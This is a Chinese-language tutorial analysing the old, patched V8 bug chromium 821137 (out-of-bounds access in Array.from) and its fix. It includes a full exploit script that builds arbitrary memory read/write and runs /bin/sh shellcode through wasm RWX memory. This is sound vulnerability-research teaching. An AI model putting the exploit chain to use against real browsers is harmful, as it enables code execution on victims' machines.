作者: 天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/6qyBFmxsUny-s_FB4PemWg
最近筆者分析了一個chrome v8引擎的漏洞chromium821137,雖然這是一個老的漏洞,但是從漏洞分析利用中我們還是可以學習到v8漏洞利用的一些基礎知識,對于入門學習瀏覽器漏洞利用具有較高的研究價值。
環境搭建
拉取代碼
因為眾所周知的原因,拉取v8代碼需要使用非常規的方法,具體的搭建過程可以參考文末的鏈接。環境搭建和拉取舊的commit過程中我遇到的主要的坑是代理的問題,需要使用sock5全局代理,并且在使用谷歌的gclient sync命令的時候需要在根目錄寫一個.boto的配置文件才能使之運行時使用配置的代理;另外一個很重要的點是linux要使用ubuntu的鏡像(筆者使用的是ubuntu 18.04),使用其他發行版可能會遇到奇奇怪怪意想不到的問題。大家在配置的過程如果遇到問題可以查找是不是上述步驟出現問題。
調試環境搭建
v8調試環境可以使用v8安裝目錄下的/tools/gdbinit并將它加入根目錄下.gdbinit配置里,修改.gdbinit配置
sudo gedit ~/.gdbinit
添加配置(可以配合其他gdb插件如pwndbg使用),
source path/to/gdbinit
使用gdb調試時可以先加載要調試的d8文件,然后設置啟動參數
set args --allow-natives-syntax xxx.js
其中xxx.js可以在要調試的地方設置輸出點和斷點
%DebugPrint(obj) // 輸出對象地址
%SystemBreak() // 觸發調試中斷
在gdb中使用job addr命令可以很清晰的看到addr處的數據結構。
漏洞環境搭建
我們從漏洞的issue鏈接https://bugs.chromium.org/p/chromium/issues/detail?id=821137找到修復的commit鏈接https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d,可以看到漏洞信息、存在漏洞的上一個版本(parent)、diff修復信息和漏洞poc(test/mjsunit/regress/regress-821137.js)

回退到漏洞存在的commit,分別編譯debug和release版。(其中ninja構建系統是非google系的,需要自行安裝,可以參考v8環境搭建的鏈接)
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8
漏洞分析
我們從poc出發來分析漏洞的原理,poc如下
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
poc主要是定義了一個數組和一個smi(small int)值,然后調用了一個方法Array.from.call,最后給定義的數組偏移[長度-1]的位置賦值時v8崩潰了。
poc中Array.from.call這個方法需要關注下,Array是一個js數據類型,from是Array類型的一個方法,Array.from整體相當于一個function,這個function又調用了call方法,這是js的一種調用方式Function.prototype.call(),語法是function.call(thisArg, arg1, arg2, ...)。通過搜索MDN了解到Function.prototype.call()可以使用一個指定的this值和單獨給出的一個或多個參數來調用一個函數即Function,而且參數可以是一個參數列表。
憑經驗我們可以猜到應該是Array.from方法出現了問題,我們在/v8/src/目錄下查找問題代碼。(PS:v8的js函數實現方法一般在src目錄下,搜索命令中r表示遞歸查找,R表示查找包含子目錄的所有文件,n表示顯示出現的行數)
r00t@5n1p3r0010:~$ grep -rRn "array\.from" -r /home/r00t/v8/src/
/home/r00t/v8/src/builtins/builtins-definitions.h:245: /* ES6 #sec-array.from */ \
/home/r00t/v8/src/builtins/builtins-array-gen.cc:1996:// ES #sec-array.from
找到Array.from方法實現的位置和行數/home/r00t/v8/src/builtins/builtins-array-gen.cc:1996:// ES #sec-array.from并跟進。
v8中js原生函數的實現是用c++寫的,為了在各種cpu架構下做到性能優化的極致,google把這些重載過的c++代碼實現的js原型函數用匯編器CodeStubAssembler生成了匯編代碼。重載過的c++代碼根據函數名字能大致猜到函數的功能(分析這個漏洞我們可以暫時不把主要精力放在分析這些重載的方法上,當然你要是像lokihardt那樣“看一眼函數名字就知道哪有漏洞”當我沒說;),其中一些常用的重載方法如下
label 定義和bind綁定的標簽
bind 綁定聲明的label和代碼塊,bind綁定的代碼塊并不以{}作為分割,綁定的是兩個bind或者bind到當前函數結束之間的代碼
goto 跳轉到代碼塊執行
branch 相當于if的三目運算,即if(flag)? a;b,根據條件flag是否成立跳轉到指定的label代碼塊a或b
我們來分析一下v8的array.from實現,
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
//判斷arg[1]即mapFn類型是否為undefined、smi、callable,否則報錯
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);
BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error);
}
首先判斷了arg[1]的類型,我們通過查找MDN得知array.from的函數原型是Array.from(arrayLike[, mapFn[, thisArg]]),所以這里的arg[1]對應mapFn,同理GetOptionalArgumentValue()得到的其他參數對應方式類似。
//判斷[symbol.iterator]方法是否定義
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
//使用自定義的[symbol.iterator]方法
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));//定義Number類型變量index,值為0
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// Check that the method is callable.
//判斷自定義的[symbol.iterator]方法是否是callable類型
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}
// Construct the output array with empty length.
//創建length為empty的數組
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
然后判斷array.from的第一個參數是否定義了迭代器方法iterator,若iterator方法非undefined、null使用自定義的迭代器方法,poc中的數組oobArray定義了iterator,會執行BIND(&iterable)中的代碼。這里需要關注的一點是在執行自定義的iterator時使用了變量index去記錄迭代的次數。在判斷完iterator方法是否是callable類型后poc中的代碼會執行BIND(&next)處的代碼,在next中首先創建了一個長度為0的數組,然后跳轉到loop處繼續執行。
BIND(&loop)主要是調用CallJS執行了自定義的Array.from(arrayLike[, mapFn[, thisArg]])中的mapFn方法,返回值存儲在thisArg中,并用index記錄迭代的次數。
......
BIND(&loop_done);
{
length = index;
Goto(&finished);
}
......
BIND(&finished);
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
iterator執行完成之后會跳轉到loop_done處,index的value賦值給length,繼續跳轉到finished處。在finished處調用了GenerateSetLength設置生成的array的長度,注意這里的第三個參數length.value()實際上是自定義的iterator執行的次數。
繼續跟進GenerateSetLength
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
在GenerateSetLength中首先判斷了array是否包含fast elements(具體快元素和字典元素的區別可以查閱參考鏈接)。poc中oobarray不包含configurable為false的元素是快元素,執行BIND(&fast)的代碼。在fast中把GenerateSetLength的第三個參數length轉化賦值給length_smi,array的length轉化賦值給old_length,然后比較length_smi和old_length的大小,若length_smi小于old_length則進行內存縮減跳轉到runtime設置array的length為length_smi。
代碼的邏輯看起來似乎沒問題,就是對Array.from(arrayLike[, mapFn[, thisArg]])方法中的arrayLike對象執行自定義的迭代方法index次,創建一個空的array并在執行自定義迭代方法時設置它的長度為index.value,并最后檢查根據index.value是否小于array的實際長度來決定設置array的長度為index.value或實際長度。但開發者似乎忽略了一個問題就是迭代方法是我們自己定義的,我們可以在迭代方法中設置Array.from(arrayLike[, mapFn[, thisArg]])中arrayLike對象的實際長度;如poc中我們在最后一輪迭代時設置oobArray的實際長度為0,在執行完maxSize次迭代后調用GenerateSetLength,這時oobArray迭代次數index>設置的實際長度0,并不會跳轉到runtime設置oobArray的長度為我們設置的實際長度0,這樣我們在實際長度為0的oobArray里擁有迭代次數index大小長度的訪問權,就造成了越界訪問。
patch中修改SmiLessThan為SmiNotEqual,這樣在迭代次數>迭代函數中設置的實際長度時也會跳轉到runtime執行設置數組的長度為迭代函數中設置的實際長度,就避免了oob的發生。
- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
v8數據存儲形式
在js中number都是double型的,v8為了節約存儲內存和加快性能,實現的時候加了smi(small int)型。32位系統中smi的范圍是31位有符號數,64位smi范圍是32位帶符號數。大于2^32 v8會用float存儲整型。
為了加快垃圾回收的效率需要區分number和指針,v8的做法是使用低位為標志位對它們進行區分。由于32位、64位系統的指針會字節對齊,指針的最低位一定為0,v8利用這一點最低位為1視為指針,最低位為0視為number,smi在32位系統中只有高31位是有效數據位。
漏洞利用
總體思路
通過前面的分析我們得知這是一個越界訪問漏洞,如果我們想通過這個越界訪問漏洞達到任意代碼執行的效果,容易想到的一種方式是通過越界訪問達到任意地址寫,再到劫持控制流進而任意代碼執行。
任意地址寫
v8中達到任意地址讀寫的方法一般是控制一個JSArrayBuffer對象,之后的分析我們會看到JSArrayBuffer對象有一個成員域backing_store,backing_store指向初始化JSArrayBuffer時用戶申請大小的堆,如果我們控制了一個JSArrayBuffer相當于一個指針和指針的內容可以同時改寫。這樣我們改寫backing_store讀取控制的JSArrayBuffer的內容就是任意地址讀;我們改寫backing_store修改控制的JSArrayBuffer的內容就是任意地址寫。
獲得可控JSArrayBuffer
接下來的問題是如何得到可控的JSArrayBuffer對象,因為我們最后的目的是使得JSArrayBuffer的backing_store指針和指針的內容可寫,所以這里需要JSArrayBuffer落到一個釋放的oobArray里,這一步可以通過gc實現。觸發gc可以通過刪除對象引用實現,需要注意的一點是為了避免oobArray被gc完全回收,在最后一輪迭代后要設置oobArray.length為大于0的數如1。
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag){
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
信息泄露
gc觸發之后某個JSArrayBuffer會落在某個oobArray里,下一步就是確定JSArrayBuffer對象和用于泄露信息的objGen的位置。這里可以通過搜索自定義的標志位0xbeef和0xdead實現,
for(let i = 0; i < maxSize; i++){
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000===val){
offsetBuf = i-3;
console.log("buf offset: " + offsetBuf);
}
if(0xdead00000000===val){
offsetObjLeak = i-1;
console.log("objGen.leak offset: " + offsetObjLeak);
break;
}
}
其中JSArrayBuffer和objGen在內存中的存儲如下
DebugPrint: 0x155d775640a9: [JSArray]
- map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x37429d985539 <JSArray[0]>
- elements: 0x155d775640c9 <FixedArray[3]> [PACKED_ELEMENTS]
- length: 3
- properties: 0x1c4546382251 <FixedArray[0]> {
#length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x155d775640c9 <FixedArray[3]> {
0: 0x317427c912b1 <JSArray[8224]>
1: 0x317427c91269 <JSArray[1]>
2: 0x317427c91239 <JSArray[1]>
}
pwndbg> job 0x317427c91269
0x317427c91269: [JSArray]
- map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x37429d985539 <JSArray[0]>
- elements: 0x155d77563fb9 <FixedArray[17]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x1c4546382251 <FixedArray[0]> {
#length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x155d77563fb9 <FixedArray[17]> {
0: 0x155d77563ec9 <objGen map = 0x27e8a970d519>
1-16: 0x1c4546382321 <the_hole>
}
pwndbg> x/10xg 0x155d77563ec9-1
0x155d77563ec8: 0x000027e8a970d519 0x00001c4546382251
0x155d77563ed8: 0x00001c4546382251 0x0000123400000000
0x155d77563ee8: 0x0000dead00000000 //flag 0x0000282d394823b9
0x155d77563ef8: 0x0000282d394823b9 0x0000282d394823b9
0x155d77563f08: 0x0000282d394823b9 0x0000282d394823b9
pwndbg> job 0x317427c91239
0x317427c91239: [JSArray]
- map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x37429d985539 <JSArray[0]>
- elements: 0x155d77563d29 <FixedArray[17]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x1c4546382251 <FixedArray[0]> {
#length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x155d77563d29 <FixedArray[17]> {
0: 0x155d77563cd9 <ArrayBuffer map = 0x27e8a9703fe9>
1-16: 0x1c4546382321 <the_hole>
}
pwndbg> job 0x155d77563cd9
0x155d77563cd9: [JSArrayBuffer]
- map: 0x27e8a9703fe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x37429d992981 <Object map = 0x27e8a9704041>
- elements: 0x1c4546382251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55cf2f44a130
- byte_length: 48879
- neuterable
- properties: 0x1c4546382251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
pwndbg> x/10xg 0x155d77563cd9-1
0x155d77563cd8: 0x000027e8a9703fe9 0x00001c4546382251
0x155d77563ce8: 0x00001c4546382251 0x0000beef00000000 //flag
0x155d77563cf8: 0x000055cf2f44a130 0x000055cf2f44a130
0x155d77563d08: 0x000000000000beef 0x0000000000000004
0x155d77563d18: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x55cf2f44a130-0x10 //backing_store指向內存區,chunk size=0xbf01,申請0xbeef,字節對齊后0xbef0+0x11
0x55cf2f44a120: 0x0000000000000000 0x000000000000bf01
0x55cf2f44a130: 0x0000000000000000 0x0000000000000000
0x55cf2f44a140: 0x0000000000000000 0x0000000000000000
0x55cf2f44a150: 0x0000000000000000 0x0000000000000000
0x55cf2f44a160: 0x0000000000000000 0x0000000000000000
利用wasm執行任意代碼
搜索得到可控的JSArrayBuffer對象后就獲得了任意地址讀寫的能力,任意代碼執行可以通過堆利用中常規的構造unsorted bin泄露libc,進而修改malloc_hook劫持控制流;對于v8也可以通過wasm獲得一塊rwx的內存,把shellcode寫進這塊內存再調用wasm的接口就可以執行shellcode了。
我們實例化一個wasm的對象funcAsm,通過讀取前面控制的JSArrayBuffer的內容可以得到funcAsm的地址。funcAsm實際上是一個JSFunction類型的對象,實際執行的代碼位于一塊rwx的內存中,通過任意地址寫修改這塊rwx內存的內容再調用funcAsm就可以執行任意代碼了。
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm);
不同版本的v8中這塊rwx的內存位置可能不同,在這個版本中調試發現位于wasmInstance.exports.main->shared_info->code->code+0x70的位置。
sharedInfo: 33498958838225
codeAddr: 52817528690241
memoryRWX: 0x00002dd1ea0ae000
0x1e77958abae1 <JSFunction 0 (sfi = 0x1e77958ab9d1)>
pwndbg> x/20xg 0x30098A091641-1
0x30098a091640: 0x00003556529828e1 0x00001e77958ab781
0x30098a091650: 0x00003a9562c02251 0x00003a9562c02661
0x30098a091660: 0x00001e77958ab799 0x0000049000000043
0x30098a091670: 0x000000000000002c 0xffffffff00000000
0x30098a091680: 0xffffffff00000000 0x0000000000000000
0x30098a091690: 0x0000000000000000 0x0000000000000000
0x30098a0916a0: 0xbe485756e5894855 0x00005556054ee6f0
0x30098a0916b0: 0x2dd1ea0ae000ba49 //rwx 0xe0c148d2ff410000
0x30098a0916c0: 0x0008c25de58b4820 0x00000001001f0f90
0x30098a0916d0: 0x0000001d00000003 0xffffffff0fffffff
pwndbg> vmmap 0x00002dd1ea0ae000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x2dd1ea0ae000 0x2dd1ea0af000 rwxp 1000 0
完整exp
代碼來源https://www.sunxiaokong.xyz/2020-01-16/lzx-roll-a-d8/
var isdebug=1;
function dp(...obj){
if(isdebug){
for(let i=0;obj[i];i++){
%DebugPrint(obj[i]);
}
}
%SystemBreak();
}
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var dt = new typeConvert();
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag){
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
/*------search a ArrayBuffer which could be controlled by oobArray-------*/
var offsetBuf; //target offset of oobArray
var indexBuf; //target offset in bufArray
//dp(oobArray,objArray,bufArray);
for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
//search obj&JSArray offset
for(let i = 0; i < maxSize; i++){
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000===val){
offsetBuf = i-3;
console.log("buf offset: " + offsetBuf);
}
if(0xdead00000000===val){
offsetObjLeak = i-1;
console.log("objGen.leak offset: " + offsetObjLeak);
break;
}
}
//dp(oobArray,objArray,bufArray);
function addressOf(target){
objArray[0].leak = target;
return dt.f2i(oobArray[offsetObjLeak]);
}
/*---------------------arbitrary address read / write--------------------*/
// arbitrary address write
var dtView = new DataView(bufArray[0]);
function write64(addr, value){
oobArray[offsetBuf+4] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}
// arbitrary address read
function read64(addr, str=false){
oobArray[offsetBuf+4] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};
}
/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
//dp(funcAsm);
var addressFasm = addressOf(funcAsm);
console.log("addressFasm: "+addressFasm);
var sharedInfo = read64(addressFasm+0x18-0x1);
console.log("sharedInfo: "+sharedInfo);
var codeAddr = read64(sharedInfo+0x8-0x1);
console.log("codeAddr: "+codeAddr);
var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000);
memoryRWX = Math.floor(memoryRWX);
console.log("memoryRWX: "+hex(memoryRWX));
//dp(funcAsm);
//sys_execve('/bin/sh')
var shellcode = [
'2fbb485299583b6a',
'5368732f6e69622f',
'050f5e5457525f54'
];
//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();
總結
這篇文章分析了chromium821137漏洞的原理,介紹了v8的一些基礎數據結構,并通過chromium821137學習了v8利用的基礎知識,希望讀者通過閱讀調試能有所收獲。
參考鏈接
-
https://bugs.chromium.org/p/chromium/issues/detail?id=821137
-
http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1145/
暫無評論